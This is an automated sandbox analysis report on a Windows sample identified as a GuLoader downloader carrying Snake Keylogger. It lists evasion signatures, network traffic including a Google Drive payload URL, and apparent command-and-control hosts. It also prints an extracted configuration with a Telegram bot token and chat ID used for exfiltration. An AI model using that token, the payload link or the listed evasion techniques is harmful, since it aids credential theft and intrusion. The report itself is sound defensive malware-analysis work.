Edit tour

Windows Analysis Report
NDCNDvC27F.exe

Overview

General Information

Sample name:	NDCNDvC27F.exe renamed because original name is a hash value
Original sample name:	f244e767138599c4a0c605431d2be543d45da2adfb9ce4a2dcb499704febf381.exe
Analysis ID:	1632239
MD5:	429e48d78bf4bf8403c99c46e6514840
SHA1:	378bad9d0c769087eee0159da95bf216b1ed7f56
SHA256:	f244e767138599c4a0c605431d2be543d45da2adfb9ce4a2dcb499704febf381
Tags:	exenjratsigneduser-adrian__luca
Infos:

Detection

GuLoader, Snake Keylogger

Score:	92
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

AI detected suspicious PE digital signature

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

NDCNDvC27F.exe (PID: 6696 cmdline: "C:\Users\user\Desktop\NDCNDvC27F.exe" MD5: 429E48D78BF4BF8403C99C46E6514840)

NDCNDvC27F.exe (PID: 6284 cmdline: "C:\Users\user\Desktop\NDCNDvC27F.exe" MD5: 429E48D78BF4BF8403C99C46E6514840)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-usering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "8099931947:AAE1ESweRA82yXTxOE-G8GWsPBJDgGqE32Y", "Chat_id": "5898096617\n", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2274138658.000000000483F000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:25:01.952682+0100	2803305	3	Unknown Traffic	192.168.2.6	49696	104.21.48.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:24:56.138287+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49694	193.122.6.168	80	TCP
2025-03-07T21:24:59.528970+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49694	193.122.6.168	80	TCP
2025-03-07T21:25:05.833937+0100	2803274	2	Potentially Bad Traffic	192.168.2.6	49697	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-07T21:24:48.792130+0100	2803270	2	Potentially Bad Traffic	192.168.2.6	49692	142.250.185.142	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "Telegram", "Token": "8099931947:AAE1ESweRA82yXTxOE-G8GWsPBJDgGqE32Y", "Chat_id": "5898096617\n", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: NDCNDvC27F.exe	Virustotal: Detection: 66%			Perma Link
Source: NDCNDvC27F.exe	ReversingLabs: Detection: 57%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: NDCNDvC27F.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49695 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.6:49692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.33:443 -> 192.168.2.6:49693 version: TLS 1.2

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_00402706 FindFirstFileW,	0_2_00402706
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_00405731 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405731
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_004061E5 FindFirstFileW,FindClose,	0_2_004061E5
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_00402706 FindFirstFileW,	9_2_00402706
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_00405731 CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	9_2_00405731
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_004061E5 FindFirstFileW,FindClose,	9_2_004061E5

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49697 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49694 -> 193.122.6.168:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49696 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49692 -> 142.250.185.142:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.6:49695 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org

Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EF6000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EEA000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EF6000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F39000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: NDCNDvC27F.exe, 00000009.00000002.2533664137.0000000003998000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: NDCNDvC27F.exe, 00000009.00000002.2533664137.0000000003998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/s
Source: NDCNDvC27F.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F16000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033E41000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: NDCNDvC27F.exe, 00000009.00000003.2353263957.0000000003A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: NDCNDvC27F.exe, 00000009.00000002.2533664137.0000000003998000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: NDCNDvC27F.exe, 00000009.00000002.2533664137.00000000039D2000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2557505859.0000000032F90000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A
Source: NDCNDvC27F.exe, 00000009.00000002.2533664137.00000000039D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A?
Source: NDCNDvC27F.exe, 00000009.00000002.2533664137.0000000003998000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000003.2407809611.0000000003A07000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2533664137.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000003.2372131031.0000000003A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: NDCNDvC27F.exe, 00000009.00000003.2353263957.0000000003A44000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2533664137.00000000039D2000.00000004.00000020.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2533664137.00000000039EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1_D8Pml6lMbIdvZPiehCG8Phc9LzH2U_A&export=download
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EF6000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F39000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033EF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F39000.00000004.00000800.00020000.00000000.sdmp, NDCNDvC27F.exe, 00000009.00000002.2558182714.0000000033F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: NDCNDvC27F.exe, 00000009.00000003.2353263957.0000000003A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: NDCNDvC27F.exe, 00000009.00000003.2353263957.0000000003A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: NDCNDvC27F.exe, 00000009.00000003.2353263957.0000000003A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: NDCNDvC27F.exe, 00000009.00000003.2353263957.0000000003A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: NDCNDvC27F.exe, 00000009.00000003.2353263957.0000000003A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49692
Source: unknown	Network traffic detected: HTTP traffic on port 49692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.6:49692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.33:443 -> 192.168.2.6:49693 version: TLS 1.2

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_00405295 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405295

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_0040331C EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		0_2_0040331C
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_0040331C EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,		9_2_0040331C

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_00404AD2	0_2_00404AD2
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 0_2_004064F7	0_2_004064F7
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_00404AD2	9_2_00404AD2
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_004064F7	9_2_004064F7
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_03645370	9_2_03645370
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_0364C146	9_2_0364C146
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_036469A0	9_2_036469A0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_03646FC8	9_2_03646FC8
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_03643E09	9_2_03643E09
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_03649DE0	9_2_03649DE0
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Code function: 9_2_036429E0	9_2_036429E0

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: String function: 00402AD0 appears 51 times

Source: NDCNDvC27F.exe

Static PE information: invalid certificate

Source: NDCNDvC27F.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal92.troj.evad.winEXE@3/17@4/4

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_0040458C GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_0040458C

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Code function: 0_2_0040206A CoCreateInstance,

0_2_0040206A

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\premierminister

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File created: C:\Users\user\AppData\Local\Temp\nsr69ED.tmp

Jump to behavior

Source: NDCNDvC27F.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NDCNDvC27F.exe	Virustotal: Detection: 66%
Source: NDCNDvC27F.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\NDCNDvC27F.exe

File read: C:\Users\user\Desktop\NDCNDvC27F.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NDCNDvC27F.exe "C:\Users\user\Desktop\NDCNDvC27F.exe"
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process created: C:\Users\user\Desktop\NDCNDvC27F.exe "C:\Users\user\Desktop\NDCNDvC27F.exe"
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Process created: C:\Users\user\Desktop\NDCNDvC27F.exe "C:\Users\user\Desktop\NDCNDvC27F.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NDCNDvC27F.exe	Section loaded: cryptbase.dll	Jump to behavior
